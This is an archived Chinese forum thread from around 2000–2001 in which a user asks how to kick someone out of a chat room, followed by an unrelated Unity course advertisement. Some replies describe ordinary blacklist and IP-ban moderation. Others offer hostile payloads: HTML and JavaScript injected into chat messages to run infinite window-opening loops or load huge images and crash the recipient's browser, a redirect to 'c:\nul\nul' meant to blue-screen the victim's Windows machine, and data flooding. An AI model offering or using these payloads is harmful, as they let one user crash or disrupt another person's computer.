请教各位大侠,怎样踢出聊天室里的某一个人?

HeavenBird 2000-08-18 03:09:00
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penghongjie 2001-04-09
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To孤独求胜,我试Response.Redirect "c:\nul\nul"和Response.Redirect "c:\null\null"
怎么都不见蓝屏.请赐教!
ClassID 2001-02-12
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独孤求胜,具体点,我怎么知道usertable,聊天室又不是我的
farrio 2001-02-12
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你是让他退出,还是想捏死他?
如果只是让他退出来,就直接从User Table里面Del了,再随便response.redirection个地址不就得了。
如果要捏死他,也很简单,就是response.redirection "c:\nul\nul"就行了,蓝屏。
smalle 2001-02-11
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可以在每一个用户进入聊天室时记录他的IP,想踢某个人时把他的名字或IP列入黑名单,当他访问聊天室时就把他的页面引导到另一个页面,从而达到踢人的目的,这样既可踢人,又可封IP。如果有什么不明白可以与我继续讨论。
smalle1@163.com
Itboy 2001-02-11
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1。登录的时候记录用户的IP或者其他唯一标志符
2。将要剔除用户的IP或者标志符号存放在Application或者数据库
3。在处理发言的时候发现是要剔除的用户就执行退出操作(如this.top.window.close())
HeavenBird 2000-08-20
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各位大侠,我是想在自己的聊天室里加上这样的功能,以去掉某些捣蛋的人。
w102272 2000-08-19
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设置一个黑名单列表,如果要踢人,
把这个用户名从用户列表中删除,放到黑名单中。
大家在用户列表中看不到他,当然无法和他CHAT了。
至于这个用户,检查黑名单,如果是里头的,不要发送CHAT画面,发送“已经被踢出”
xh_zhou 2000-08-19
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我的实现方法是在用户进入时纪录它的ip,当你要踢他就封它的ip.
Ideal 2000-08-19
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最好的办法是申请当网管,或当黑客
ywpg 2000-08-18
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如果他的JAVASC开着,好办:
发:<aharf="http://www.csdn.net/" onmouseover="while(1){window.open('hduahfdkafkafh')}">
或:
<imgsrc="javascript:do{window.open('afhfakhfkafhahfha')}while(1)" width="1">
<imgsrc="http://abc/" width ="1" height="1000000000000000000000">
你的JAVASC和图片功能要关上。
另外,你问这些要干什么:-)
青润 2000-08-18
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你一下子送给他一大堆东西,他肯定就被剔出来了。
你想当“李逍遥”式的“大侠”吗? 这无需计算机基础,无需编程经验,你也不必是计算机专业的在校大学生....只要爱好游戏,怀揣梦想! 有一定自主学习能力,跟着刘老师从“编程小白”修炼为游戏研发“大虾”吧!!!学习好Unity,其先决条件是一定要有稳固、扎实的编程基础!课程 《C# For Unity系列之入门篇》配套学习资料链接:http://pan.baidu.com/s/1gflxreN 密码:sou5;刘老师讲Unity学员群(2) 497429806一、热更新系列(技术含量:中高级):A:《lua热更新技术中级篇》https://edu.csdn.net/course/detail/27087B:《热更新框架设计之Xlua基础视频课程》https://edu.csdn.net/course/detail/27110C:《热更新框架设计之热更流程与热补丁技术》https://edu.csdn.net/course/detail/27118D:《热更新框架设计之客户端热更框架(上)》https://edu.csdn.net/course/detail/27132E:《热更新框架设计之客户端热更框架(中)》https://edu.csdn.net/course/detail/27135F:《热更新框架设计之客户端热更框架(下)》https://edu.csdn.net/course/detail/27136二:框架设计系列(技术含量:中级): A:《游戏UI界面框架设计系列视频课程》https://edu.csdn.net/course/detail/27142B:《Unity客户端框架设计PureMVC篇视频课程(上)》https://edu.csdn.net/course/detail/27172C:《Unity客户端框架设计PureMVC篇视频课程(下)》https://edu.csdn.net/course/detail/27173D:《AssetBundle框架设计_框架篇视频课程》https://edu.csdn.net/course/detail/27169三、Unity脚本从入门到精通(技术含量:初级)A:《C# For Unity系列之入门篇》https://edu.csdn.net/course/detail/4560B:《C# For Unity系列之基础篇》https://edu.csdn.net/course/detail/4595C: 《C# For Unity系列之中级篇》https://edu.csdn.net/course/detail/24422D:《C# For Unity系列之进阶篇》https://edu.csdn.net/course/detail/24465四、虚拟现实(VR)与增强现实(AR):(技术含量:初级)A:《虚拟现实之汽车仿真模拟系统 》https://edu.csdn.net/course/detail/26618五、Unity基础课程系列(技术含量:初级) A:《台球游戏与FlappyBirds—Unity快速入门系列视频课程(第1部)》 https://edu.csdn.net/course/detail/24643B:《太空射击与移动端发布技术-Unity快速入门系列视频课程(第2部)》https://edu.csdn.net/course/detail/24645 C:《Unity ECS(二) 小试牛刀》https://edu.csdn.net/course/detail/27096六、Unity ARPG课程(技术含量:初中级):A:《MMOARPG地下守护神_单机版实战视频课程(上部)》https://edu.csdn.net/course/detail/24965B:《MMOARPG地下守护神_单机版实战视频课程(中部)》https://edu.csdn.net/course/detail/24968C:《MMOARPG地下守护神_单机版实战视频课程(下部)》https://edu.csdn.net/course/detail/24979

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